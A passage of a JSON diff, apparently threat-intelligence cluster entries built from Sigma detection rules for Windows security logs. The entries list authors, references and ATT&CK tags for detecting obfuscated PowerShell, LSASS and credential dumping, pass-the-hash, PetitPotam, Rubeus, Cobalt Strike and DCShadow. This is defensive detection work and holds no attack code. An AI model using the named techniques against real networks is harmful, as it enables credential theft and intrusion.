"7a922f1b-2635-4d6c-91ef-af228b198ad3", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER" + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", + "value": "Invoke-Obfuscation Via Stdin" + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", + "value": "Invoke-Obfuscation Via Use Clip" + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", + "value": "Invoke-Obfuscation Via Use MSHTA" + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", + "value": "Invoke-Obfuscation Via Use Rundll32" + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" + }, + { + "description": "Detects the mount of ISO images on an endpoint", + "meta": { + "author": "Syed Hasan (@syedhasan009)", + "creation_date": "2021/05/29", + "falsepositive": [ + "Software installation ISO files" + ], + "filename": "win_security_iso_mount.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://twitter.com/MsftSecIntel/status/1257324139515269121", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", + "value": "ISO Image Mount" + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "filename": "win_security_lm_namedpipe.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/menasec1/status/1104489274387451904", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "52d8b0c6-53d6-439a-9e41-52ad442ad9ad", + "value": "First Time Seen Remote Named Pipe" + }, + { + "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", + "meta": { + "author": "Arun Chauhan", + "creation_date": "2021/10/04", + "falsepositive": [ + "Red team activity", + "Rare legitimate use by an administrator" + ], + "filename": "win_security_lolbas_execution_of_nltest.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", + "https://attack.mitre.org/software/S0359/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1018", + "attack.t1016" + ] + }, + "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", + "value": "Correct Execution of Nltest.exe" + }, + { + "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_lsass_access_non_system_account.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", + "value": "LSASS Access from Non System Account" + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "meta": { + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2017/03/05", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "filename": "win_security_mal_creddumper.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ] + }, + "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", + "value": "Credential Dumping Tools Service Execution" + }, + { + "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", + "meta": { + "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", + "creation_date": "2017/03/27", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_mal_service_installs.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://awakesecurity.com/blog/threat-hunting-for-paexec/", + "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1003", + "car.2013-09-005", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", + "value": "Malicious Service Installations" + }, + { + "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_mal_wceaux_dll.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.s0005" + ] + }, + "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", + "value": "WCE wceaux.dll Access" + }, + { + "description": "Alerts on Metasploit host's authentications on the domain.", + "meta": { + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "creation_date": "2020/05/06", + "falsepositive": [ + "Linux hostnames composed of 16 characters." + ], + "filename": "win_security_metasploit_authentication.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", + "value": "Metasploit SMB Authentication" + }, + { + "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", + "meta": { + "author": "Bartlomiej Czyz, Relativity", + "creation_date": "2021/01/21", + "falsepositive": [ + "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" + ], + "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", + "value": "Metasploit Or Impacket Service Installation Via SMB PsExec" + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "meta": { + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "creation_date": "2019/10/26", + "falsepositive": [ + "Highly unlikely" + ], + "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ] + }, + "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" + }, + { + "description": "Detects NetNTLM downgrade attack", + "meta": { + "author": "Florian Roth, wagga", + "creation_date": "2018/03/20", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_net_ntlm_downgrade.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ] + }, + "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", + "value": "NetNTLM Downgrade Attack" + }, + { + "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "meta": { + "author": "Tim Shelton (HAWK.IO)", + "creation_date": "2021/12/06", + "falsepositive": [ + "Read only access list authority" + ], + "filename": "win_security_net_share_obj_susp_desktop_ini.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ] + }, + "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", + "value": "Windows Network Access Suspicious desktop.ini Action" + }, + { + "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", + "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'" + }, + { + "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", + "meta": { + "author": "Pushkarev Dmitry", + "creation_date": "2020/06/27", + "falsepositive": [ + "Valid user was not added to RDP group" + ], + "filename": "win_security_not_allowed_rdp_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ] + }, + "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", + "value": "Denied Access To Remote Desktop" + }, + { + "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", + "meta": { + "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", + "creation_date": "2018/02/12", + "falsepositive": [ + "Runas command-line tool using /netonly parameter" + ], + "filename": "win_security_overpass_the_hash.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.s0002", + "attack.t1550.002" + ] + }, + "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", + "value": "Successful Overpass the Hash Attempt" + }, + { + "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", + "meta": { + "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", + "creation_date": "2019/06/14", + "falsepositive": [ + "Administrator activity" + ], + "filename": "win_security_pass_the_hash_2.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", + "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", + "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ] + }, + "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", + "value": "Pass the Hash Activity 2" + }, + { + "description": "Detect PetitPotam coerced authentication activity.", + "meta": { + "author": "Mauricio Velazco, Michael Haag", + "creation_date": "2021/09/02", + "falsepositive": [ + "Unknown. Feedback welcomed." + ], + "filename": "win_security_petitpotam_network_share.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ] + }, + "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", + "value": "Possible PetitPotam Coerce Authentication Attempt" + }, + { + "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", + "meta": { + "author": "Mauricio Velazco, Michael Haag", + "creation_date": "2021/09/02", + "falsepositive": [ + "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." + ], + "filename": "win_security_petitpotam_susp_tgt_request.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ] + }, + "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", + "value": "PetitPotam Suspicious Kerberos TGT Request" + }, + { + "description": "Detects DCShadow via create new SPN", + "meta": { + "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", + "creation_date": "2019/10/25", + "falsepositive": [ + "Valid on domain controllers; exclude known DCs" + ], + "filename": "win_security_possible_dc_shadow.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1207" + ] + }, + "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", + "value": "Possible DC Shadow Attack" + }, + { + "description": "Detects powershell script installed as a Service", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_powershell_script_installed_as_service.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", + "value": "PowerShell Scripts Installed as Services" + }, + { + "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/10", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_protected_storage_service_access.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", + "value": "Protected Storage Service Access" + }, + { + "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/23", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "filename": "win_security_rare_schtasks_creations.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.persistence", + "car.2013-08-001", + "attack.t1053.005" + ] + }, + "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", + "value": "Rare Schtasks Creations" + }, + { + "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", + "meta": { + "author": "Florian Roth (rule), Adam Bradbury (idea)", + "creation_date": "2019/06/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_security_rdp_bluekeep_poc_scanner.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ] + }, + "uuid": "8400629e-79a9-4737-b387-5db940ab2367", + "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln" + }, + { + "description": "RDP login with localhost source address may be a tunnelled login", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_rdp_localhost_login.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "car.2013-07-002", + "attack.t1021.001" + ] + }, + "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", + "value": "RDP Login from Localhost" + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/02/16", + "falsepositive": [ + "Programs that connect locally to the RDP port" + ], + "filename": "win_security_rdp_reverse_tunnel.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1090.001", + "attack.t1090.002", + "attack.t1021.001", + "car.2013-07-002" + ] + }, + "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", + "value": "RDP over Reverse SSH Tunnel WFP" + }, + { + "description": "Detects potential use of Rubeus via registered new trusted logon process", + "meta": { + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_register_new_logon_process_by_rubeus.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ] + }, + "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", + "value": "Register new Logon Process by Rubeus" + }, + { + "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/09/12", + "falsepositive": [ + "Legitimate use of remote PowerShell execution" + ], + "filename": "win_security_remote_powershell_session.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", + "value": "Remote PowerShell Sessions Network Connections (WinRM)" + }, + { + "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", + "meta": { + "author": "frack113", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_replay_attack_detected.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" + ], + "tags": "No established tags" + }, + "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", + "value": "Replay Attack Detected" + }, + { + "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/22", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" + ], + "tags": "No established tags" + }, + "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", + "value": "Suspicious Computer Account Name Change CVE-2021-42287" + }, + { + "description": "Detects handles requested to SAM registry hive", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_sam_registry_hive_handle_request.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.credential_access", + "attack.t1552.002" + ] + }, + "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", + "value": "SAM Registry Hive Handle Request" + }, + { + "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", + "meta": { + "author": "David Strassegger, Tim Shelton", + "creation_date": "2021/01/22", + "falsepositive": [ + "Software installation" + ], + "filename": "win_security_scheduled_task_deletion.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ 